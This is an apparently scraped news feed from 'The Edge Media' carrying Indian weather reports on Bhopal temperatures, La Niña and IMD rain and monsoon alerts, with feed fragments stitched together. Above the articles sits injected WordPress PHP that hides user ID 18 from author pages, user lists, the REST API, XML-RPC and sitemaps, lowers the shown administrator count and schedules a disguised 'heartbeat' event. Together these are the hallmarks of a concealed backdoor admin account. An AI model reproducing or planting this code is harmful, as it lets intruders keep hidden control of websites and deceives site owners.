add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Bhopal Sees 32°C Daytime Temperature After 12 Days, Sharp Cold Spell Expected Post-Diwali appeared first on The Edge Media.
]]>This marked the second day in a row where the daytime temperature rose, showing an increase of 0.6°C. Meanwhile, Chhindwara received over half an inch of rainfall on Thursday. The India Meteorological Department (IMD) has predicted light showers on Friday across regions including Malwa-Nimar, Mahakaushal, and Narmadapuram.
Despite this temporary rise in temperature, meteorologists anticipate a second round of winter chill after Diwali — likely between October 24 and November 1. The initial cold spell had occurred between October 3 and 14, during which Bhopal saw its night temperature drop to 15.8°C.
New Delhi – Weather experts predict that winter may arrive nearly two weeks earlier than usual this year, with an extended duration likely to stretch from November through February across the Indo-Gangetic plains and central India.
This is attributed to the expected formation of La Niña conditions, which generally lead to colder-than-normal global temperatures during winter. Meteorologists suggest that the coming winter could be the most intense since 2010, with above-average rainfall and increased activity of Western Disturbances, especially in northwestern India.
The IMD has also confirmed signs that La Niña patterns are developing, which could bring a notable drop in temperatures and more winter rain in several parts of the country.
The post Bhopal Sees 32°C Daytime Temperature After 12 Days, Sharp Cold Spell Expected Post-Diwali appeared first on The Edge Media.
]]>The post IMD predicts heavy showers till September 2 appeared first on The Edge Media.
]]>The southern part of the country will see widespread rainfall activity in the next 24 hours, with Telangana expected to received isolated very heavy falls today, the weather department said.
The rainfall activity is expected to increase in the Northeast region from Wednesday, the IMD forecast added. “Scattered rainfall activity very likely over Western Himalayan Region and adjoining plains of Northwest India during next 4-5 days. Isolated heavy falls also very likely over Uttarakhand on 30th August, 2021,” it said.
The IMD has said that during heavy rainfall could lead to localised flooding, inundation and water logging in low-lying areas in Madhya Pradesh and other states. There is a possibility of landslides, reduction in visibility, damage to vulnerable structure and standing crops in these states, the weather department said.
It also suggested action for the common people to avoid any loss of life of injury:
– Check for traffic congestion on your route before leaving for your destination.
– Follow any traffic advisories that are issued in this regard.
-Avoid going to areas that face the water logging problems often.
-Avoid staying in vulnerable structure.
The IMD on Sunday issued an orange alert for Uttarakhand. There have been intermittent rains in the state since Saturday night, which triggered landslides and waterlogging in various places.
According to the information received from the Disaster Management Department (DMD), more than 200 roads including five National Highways, 15 state highways are blocked in Uttarakhand due to incessant rains and efforts are being made to open them.
The post IMD predicts heavy showers till September 2 appeared first on The Edge Media.
]]>The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>Central and adjoining peninsular India will experience enhanced rainfall activities during the next 2-3 days, the weather department said in its forecast. There will be fairly widespread rainfall in Gujarat, Maharashtra, Odisha, Jharkhand and Gangetic West Bengal on Wednesday and Thursday, the IMD further said.
The activity will continue over Madhya Pradesh on Friday too, according to the weather department. East Uttar Pradesh and Uttarakhand are expected to witness isolated heavy rainfall starting Thursday which will continue till Saturday. Himachal Pradesh, Haryana, Chandigarh, Delhi and West Uttar Pradesh will get rainfall for two days – Friday and Saturday – the IMD said.
The IMD has issued an orange alert for moderate rain in Delhi. The precipitation is expected to bring the maximum temperature down to 32 degrees Celsius in three to four days, it said.
The Northeast India, meanwhile, will continue to receive widespread rainfall activity for the next two days, after which the IMD has predicted a decrease in intensity.
Fairly widespread rainfall activity with isolated heavy falls is very likely over Bihar from August 20 to 22, according to IMD.
Weather experts said “good rainfall” in the last 10 days of the month is expected to cover the precipitation deficit in the national capital.
Normally, Delhi gauges 247.7mm rainfall in August. The IMD had earlier predicted normal rainfall for Delhi this month.
In July, the monsoon had entered the first break phase even before reaching most parts of northwest India, including Delhi.
The post Southwest monsoon to revive from Thursday : IMD appeared first on The Edge Media.
]]>